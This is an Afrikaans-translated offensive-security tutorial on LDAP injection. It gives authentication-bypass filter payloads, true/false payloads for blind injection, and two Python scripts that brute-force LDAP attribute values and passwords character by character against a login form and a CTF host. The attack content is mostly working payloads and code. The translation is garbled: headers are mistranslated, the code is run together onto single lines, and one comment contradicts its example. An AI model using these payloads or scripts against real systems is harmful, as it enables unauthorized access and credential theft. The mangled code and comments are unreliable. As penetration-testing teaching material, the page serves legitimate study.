LDAP Inspruiting is 'n aanval wat gemik is op webtoepassings wat LDAP-verklarings van gebruikersinsette konstrueer. Dit gebeur wanneer die toepassing misluk om insette behoorlik te saniteer, wat aanvallers in staat stel om LDAP-verklarings te manipuleer deur 'n plaaslike proksi, wat moontlik kan lei tot ongemagtigde toegang of data-manipulasie.
Jy kan toegang kry tot die databasis, en dit kan inligting van baie verskillende tipes bevat.
OpenLDAP: As 2 filters arriveer, voer dit slegs die eerste een uit.
ADAM of Microsoft LDS: Met 2 filters gooi hulle 'n fout uit.
SunOne Directory Server 5.0: Voer beide filters uit.
Dit is baie belangrik om die filter met die korrekte sintaksis te stuur, anders sal 'n fout uitgegooi word. Dit is beter om slegs 1 filter te stuur.
Die filter moet begin met: & of |
Voorbeeld: (&(directory=val1)(folder=public))
Dan: (&(objectClass=*)(ObjectClass=*)) sal die eerste filter wees (die een wat uitgevoer word).
Aantekeningsverbygaan
LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. Dus, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehash word.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Jy kan Vals of Waar reaksies afdwing om te kyk of enige data teruggegee word en 'n moontlike Blind LDAP Inspruiting te bevestig:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Stort data
Jy kan oor die ASCII-letters, syfers en simbole iterasieer:
LDAP-voorwerpe bevat standaard verskeie eienskappe wat gebruik kan word om inligting te stoor. Jy kan probeer om hulle almal met geweld te ontsluit om daardie inligting te onttrek. Jy kan 'n lys van standaard LDAP-eienskappe hier vind.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Spesiale Blinde LDAP-inspuiting (sonder "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break